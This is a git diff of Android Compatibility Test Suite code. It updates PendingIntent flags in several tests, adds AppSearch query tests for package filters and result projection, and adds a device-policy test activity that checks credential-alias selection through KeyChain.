--- a/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
+++ b/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
@@ -48,7 +48,7 @@
     }
 
     private RecoverableSecurityException build() {
-        final PendingIntent pi = PendingIntent.getActivity(getContext(), 42, new Intent(), 0);
+        final PendingIntent pi = PendingIntent.getActivity(getContext(), 42, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return new RecoverableSecurityException(new SecurityException("foo"), "bar",
                 new RemoteAction(Icon.createWithFilePath("/dev/null"), "title", "content", pi));
     }
diff --git a/tests/app/src/android/app/cts/WearableExtenderTest.java b/tests/app/src/android/app/cts/WearableExtenderTest.java
index 768eb25..bcdb36d 100644
--- a/tests/app/src/android/app/cts/WearableExtenderTest.java
+++ b/tests/app/src/android/app/cts/WearableExtenderTest.java
@@ -44,7 +44,7 @@
         final String dismissalId = "dismissal_id";
         final int contentActionIndex = 2;
         final Bitmap background = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification page1 = new Notification.Builder(mContext, "test id")
             .setSmallIcon(1)
             .setContentTitle("page1")
@@ -196,7 +196,7 @@
         final int contentActionIndex = 2;
         Notification.Action action = newActionBuilder().build();
         final Bitmap background = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification page1 = new Notification.Builder(mContext, "test id")
             .setSmallIcon(1)
             .setContentTitle("page1")
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java
index 24dd1fe..2b6bd70 100644
--- a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java
@@ -53,6 +53,7 @@
 import org.junit.Test;
 
 import java.util.ArrayList;
+import java.util.Collections;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
@@ -574,6 +575,49 @@
     }
 
     @Test
+    public void testQuery_packageFilter() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("foo")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email).build()));
+
+        // Query for the document within our package
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addFilterPackageNames(
+                                        ApplicationProvider.getApplicationContext()
+                                                .getPackageName())
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).containsExactly(email);
+
+        // Query for the document in some other package, which won't exist
+        searchResults =
+                mDb1.query(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addFilterPackageNames("some.other.package")
+                                .build());
+        List<SearchResult> results = searchResults.getNextPage().get();
+        assertThat(results).isEmpty();
+    }
+
+    @Test
     public void testQuery_namespaceFilter() throws Exception {
         // Schema registration
         mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build());
@@ -667,6 +711,183 @@
     }
 
     @Test
+    public void testQuery_projection() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocument(email1, email2)
+                                .build()));
+
+        // Query with type property paths {"Email", ["subject", "to"]}
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+
+    // TODO(b/175039682) Add test cases for wildcard projection once go/oag/1534646 is submitted.
+    @Test
+    public void testQuery_projectionEmpty() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocument(email1, email2)
+                                .build()));
+
+        // Query with type property paths {"Email", []}
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, Collections.emptyList())
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The two email documents should have been returned without any properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testQuery_projectionNonExistentType() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocument(email1, email2)
+                                .build()));
+
+        // Query with type property paths {"NonExistentType", []}, {"Email", ["subject", "to"]}
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection("NonExistentType", Collections.emptyList())
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+
+    @Test
     public void testQuery_twoInstances() throws Exception {
         // Schema registration
         mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
@@ -886,6 +1107,55 @@
     }
 
     @Test
+    public void testRemoveByQuery_packageFilter() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("foo")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+
+        // Try to delete email with query "foo", but restricted to a different package name.
+        // Won't work and email will still exist.
+        mDb1.removeByQuery(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addFilterPackageNames("some.other.package")
+                                .build())
+                .get();
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+
+        // Delete the email by query "foo", restricted to the correct package this time.
+        mDb1.removeByQuery(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addFilterPackageNames(
+                                        ApplicationProvider.getApplicationContext()
+                                                .getPackageName())
+                                .build())
+                .get();
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1", "uri2").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
     public void testRemove_twoInstances() throws Exception {
         // Schema registration
         mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java
index ec4112e..dd356a0 100644
--- a/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java
@@ -392,4 +392,256 @@
                 afterBodyNamespace1Documents,
                 ImmutableList.of(document1));
     }
+
+    @Test
+    public void testGlobalQuery_packageFilter() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec otherPackageSearchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                        .addFilterPackageNames("some.other.package")
+                        .build();
+        List<GenericDocument> beforeOtherPackageDocuments =
+                snapshotResults("body", otherPackageSearchSpec);
+
+        SearchSpec testPackageSearchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                        .addFilterPackageNames(
+                                ApplicationProvider.getApplicationContext().getPackageName())
+                        .build();
+        List<GenericDocument> beforeTestPackageDocuments =
+                snapshotResults("body", testPackageSearchSpec);
+
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail document1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(document1).build()));
+
+        AppSearchEmail document2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(document2).build()));
+
+        // Query in some other package
+        List<GenericDocument> afterOtherPackageDocuments =
+                snapshotResults("body", otherPackageSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeOtherPackageDocuments, afterOtherPackageDocuments, Collections.emptyList());
+
+        // Query within our package
+        List<GenericDocument> afterTestPackageDocuments =
+                snapshotResults("body", testPackageSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeTestPackageDocuments,
+                afterTestPackageDocuments,
+                ImmutableList.of(document1, document2));
+    }
+
+    // TODO(b/175039682) Add test cases for wildcard projection once go/oag/1534646 is submitted.
+    @Test
+    public void testGlobalQuery_projectionTwoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index one document in each database.
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+        // Query with type property paths {"Email", ["subject", "to"]}
+        List<GenericDocument> documents =
+                snapshotResults(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+                                .build());
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGlobalQuery_projectionEmptyTwoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index one document in each database.
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+        // Query with type property paths {"Email", []}
+        List<GenericDocument> documents =
+                snapshotResults(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, Collections.emptyList())
+                                .build());
+
+        // The two email documents should have been returned without any properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGlobalQuery_projectionNonExistentTypeTwoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index one document in each database.
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+        // Query with type property paths {"NonExistentType", []}, {"Email", ["subject", "to"]}
+        List<GenericDocument> documents =
+                snapshotResults(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection("NonExistentType", Collections.emptyList())
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+                                .build());
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
 }
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java
index 50bca278..e00064f 100644
--- a/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java
@@ -41,6 +41,7 @@
                         .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
                         .addNamespace("namespace1", "namespace2")
                         .addSchemaType("schemaTypes1", "schemaTypes2")
+                        .addFilterPackageNames("package1", "package2")
                         .setSnippetCount(5)
                         .setSnippetCountPerProperty(10)
                         .setMaxSnippetSize(15)
@@ -56,6 +57,7 @@
         assertThat(searchSpec.getSchemaTypes())
                 .containsExactly("schemaTypes1", "schemaTypes2")
                 .inOrder();
+        assertThat(searchSpec.getPackageNames()).containsExactly("package1", "package2").inOrder();
         assertThat(searchSpec.getSnippetCount()).isEqualTo(5);
         assertThat(searchSpec.getSnippetCountPerProperty()).isEqualTo(10);
         assertThat(searchSpec.getMaxSnippetSize()).isEqualTo(15);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java
index 45354e0..3f08397 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java
@@ -144,5 +144,8 @@
         assertTextAndValue(findNodeByResourceId(structure2, ID_INPUT), "ID");
         final ComponentName component2 = structure2.getActivityComponent();
         assertThat(component2).isEqualTo(activity2.getComponentName());
+        activity2.syncRunOnUiThread(() -> {
+            activity2.mInput.setFocusable(false);
+        });
     }
 }
diff --git a/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java b/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
index 911ccc2..f0f22ae 100644
--- a/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
+++ b/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
@@ -60,9 +60,9 @@
     public void setUp() {
         mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, new Intent(),
-            PendingIntent.FLAG_UPDATE_CURRENT);
+            PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mPendingIntent2 = PendingIntent.getActivity(mContext, 2, new Intent(),
-            PendingIntent.FLAG_UPDATE_CURRENT);
+            PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mIcon = Icon.createWithResource(mContext, R.drawable.ic_device_unknown);
         mColorStateList = mContext.getResources().getColorStateList(R.color.custom_mower, null);
     }
diff --git a/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java b/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
index 94982a7cb..5a18c9c 100644
--- a/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
+++ b/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
@@ -60,7 +60,7 @@
         Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
         mIcon = Icon.createWithResource(PACKAGE_NAME, TEST_ICON_ID);
         mControlButton = new ControlButton(true, TEST_ACTION_DESCRIPTION);
-        mPendingIntent = PendingIntent.getActivity(context, 1, new Intent(), 0);
+        mPendingIntent = PendingIntent.getActivity(context, 1, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     @Test
diff --git a/tests/controls/src/android/controls/cts/CtsControlsService.java b/tests/controls/src/android/controls/cts/CtsControlsService.java
index 5310e42..301c34e 100644
--- a/tests/controls/src/android/controls/cts/CtsControlsService.java
+++ b/tests/controls/src/android/controls/cts/CtsControlsService.java
@@ -66,7 +66,7 @@
     public CtsControlsService() {
         mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, new Intent(),
-            PendingIntent.FLAG_UPDATE_CURRENT);
+            PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mIcon = Icon.createWithResource(mContext, R.drawable.ic_device_unknown);
         mColorStateList = mContext.getResources().getColorStateList(R.color.custom_mower, null);
 
diff --git a/tests/devicepolicy/Android.bp b/tests/devicepolicy/Android.bp
index a904d01..0dd4587 100644
--- a/tests/devicepolicy/Android.bp
+++ b/tests/devicepolicy/Android.bp
@@ -23,6 +23,7 @@
         "testng", // used for assertThrows
         // TODO: Remove this once we remove ui automator usage
         "androidx.test.uiautomator_uiautomator",
+        "EventLib",
     ],
     srcs: ["src/**/*.java"],
     test_suites: [
@@ -30,8 +31,5 @@
         "vts10",
         "general-tests",
     ],
-    test_options: {
-        extra_test_configs: ["DevicePolicyWorkProfileTest.xml", "DevicePolicySecondaryUserTest.xml"]
-    },
     sdk_version: "test_current",
 }
diff --git a/tests/devicepolicy/AndroidManifest.xml b/tests/devicepolicy/AndroidManifest.xml
index ceceb7a..dff1cd1 100644
--- a/tests/devicepolicy/AndroidManifest.xml
+++ b/tests/devicepolicy/AndroidManifest.xml
@@ -46,6 +46,10 @@
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
+
+        <activity android:name=".AppUriAuthenticationActivity"
+                  android:exported="true">
+        </activity>
     </application>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.devicepolicy.cts"
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AppUriAuthenticationActivity.java b/tests/devicepolicy/src/android/devicepolicy/cts/AppUriAuthenticationActivity.java
new file mode 100644
index 0000000..2ab7d23
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AppUriAuthenticationActivity.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.net.Uri;
+import android.os.Bundle;
+import android.security.KeyChain;
+import android.security.KeyChainAliasCallback;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import com.android.eventlib.events.CustomEvent;
+
+/**
+ * Activity that will call {@link KeyChain.choosePrivateKeyAlias} to verify the credential
+ * management app is able to specify which alias should be used given an app package name and URI.
+ * <p>
+ * This test Activity is required to call the API {@link KeyChain.choosePrivateKeyAlias}.
+ */
+public class AppUriAuthenticationActivity extends Activity {
+
+    private static final String TAG = "AppUriAuthenticationActivity";
+
+    private static final long KEYCHAIN_TIMEOUT_MINS = 2;
+    private static final String ALIAS = "com.android.test.rsa";
+    private final static Uri URI = Uri.parse("https://test.com");
+
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+
+        String aliasProvidedByCredentialManager = null;
+        try {
+            aliasProvidedByCredentialManager = new KeyChainAliasFuture(/* activity */ this).get();
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Unable to get the alias provided by the credential management app");
+        }
+        CustomEvent.logger(this)
+                .setTag("credentialManagementAppAliasFetched")
+                .setData(aliasProvidedByCredentialManager)
+                .log();
+    }
+
+    private static class KeyChainAliasFuture implements KeyChainAliasCallback {
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+        private String mChosenAlias = null;
+
+        @Override
+        public void alias(final String chosenAlias) {
+            mChosenAlias = chosenAlias;
+            mLatch.countDown();
+        }
+
+        public KeyChainAliasFuture(Activity activity) {
+            KeyChain.choosePrivateKeyAlias(activity, this, /* keyTypes */null,
+                    /* issuers */null, URI, /* alias = */null);
+        }
+
+        public String get() throws InterruptedException {
+            assertWithMessage("Chooser timeout")
+                    .that(mLatch.await(KEYCHAIN_TIMEOUT_MINS, TimeUnit.MINUTES))
+                    .isTrue();
+            return mChosenAlias;
+        }
+    }
+}
